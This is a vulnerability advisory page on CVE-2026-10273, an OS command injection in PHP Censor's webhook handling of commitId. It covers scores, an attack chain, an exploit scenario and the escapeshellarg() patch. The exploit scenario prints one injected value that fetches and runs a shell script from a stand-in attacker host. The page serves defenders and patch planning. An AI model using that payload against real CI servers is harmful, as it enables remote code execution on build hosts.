Skip to main content

PHP Censor CVE-2026-10273

| EUVD-2026-33667 MEDIUM
OS Command Injection (CWE-78)
2026-06-01 VulDB GHSA-93rv-mf2v-vv2r
Command Injection PHP
5.5
CVSS 4.0 · NVD
Share

Severity by source

NVD PRIMARY
5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

4
Severity Changed
Jun 01, 2026 - 17:22 NVD
HIGH MEDIUM
CVSS changed
Jun 01, 2026 - 17:22 NVD
7.3 (HIGH) 5.5 (MEDIUM)
Source Code Evidence Fetched
Jun 01, 2026 - 17:17 vuln.today
Analysis Generated
Jun 01, 2026 - 17:17 vuln.today

DescriptionCVE.org

A vulnerability was found in php-censor up to 2.1.6. This affects an unknown function of the file src/Model/Build/GitBuild.php of the component Webhook Endpoint. Performing a manipulation of the argument commitId results in os command injection. The attack can be initiated remotely. The exploit has been made public and could be used. The patch is named cd68d102601320bd319d590b75f7652e66f0685f. It is recommended to apply a patch to fix this issue.

AnalysisAI

OS command injection in PHP Censor through 2.1.6 allows remote attackers to execute arbitrary shell commands by submitting a crafted commitId value to the webhook endpoint handled by src/Model/Build/GitBuild.php. The unsanitized commitId (and branch name) is interpolated into shell command strings passed to git log and clone operations, and publicly available exploit code exists per VulDB. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts
Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Discover exposed PHP Censor webhook
Delivery
Craft webhook payload with malicious commitId
Exploit
Send unauthenticated POST to build endpoint
Execution
GitBuild.php interpolates value into git shell command
Persist
Shell executes injected commands as build user
Impact
Stage follow-on actions on CI host
Sign in to reveal

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to reach the PHP Censor webhook endpoint over the network and submit a build-trigger request containing a malicious commitId (or branch) value that flows into GitBuild::postCloneSetup or the clone-by-HTTP/SSH paths. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N indicates network-reachable, unauthenticated, low-complexity exploitation with no user interaction, but the impact triplet C:L/I:L/A:L yields a base score of 7.3 - reflecting that PHP Censor build workers typically run as a low-privileged service account rather than root, limiting blast radius on the build host itself. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker locates an internet-exposed PHP Censor instance (e.g., via Shodan fingerprinting of the login page) and sends a forged webhook POST to the build endpoint with a commitId field containing a shell-metacharacter payload such as `a;curl attacker.example/sh|sh`. When PHP Censor processes the webhook and invokes git log with the unsanitized commitId, the injected command executes on the build host under the php-censor service account; public exploit details are referenced from GitHub issue #442.
Remediation Apply the upstream fix available in PR https://github.com/php-censor/php-censor/pull/441 (commit cd68d102601320bd319d590b75f7652e66f0685f), which adds escapeshellarg() wrapping around the commitId and branch values; upgrade to the next tagged release containing this commit once published, since the input data confirms a patch is available but does not identify a specific fixed version tag. … Detailed patch versions, workarounds, and compensating controls in full report.
Sign in to read full assessment

Recommended ActionAI

Within 24 hours: Identify all PHP Censor instances and assess whether webhook endpoints are accessible from untrusted networks. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

More from same product – last 7 days

CVE-2026-49952 CRITICAL POC
9.3 Jun 15

Authentication bypass in Discuz! X5.0 releases 20260320 through 20260501 allows unauthenticated remote attackers to acce
CVE-2026-49954 HIGH POC
8.6 Jun 15

Authenticated remote code execution in Discuz! X5.0 releases 20260320 through 20260501 allows administrators to chain a

CVE-2026-49768 CRITICAL
9.8 Jun 15

Unauthenticated PHP Object Injection in the Happyforms WordPress plugin (versions <= 1.26.13) allows remote attackers to
CVE-2026-27053 CRITICAL
9.8 Jun 15

Unauthenticated PHP Object Injection in the Broadcast Live Video WordPress plugin (versions prior to 7.1.3) allows remot
CVE-2026-49104 CRITICAL
9.8 Jun 15

Unauthenticated PHP object injection in the WordPress plugin 'Integration for Keap/Infusionsoft and Contact Form 7, WPFo

Share

CVE-2026-10273 vulnerability details – vuln.today
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy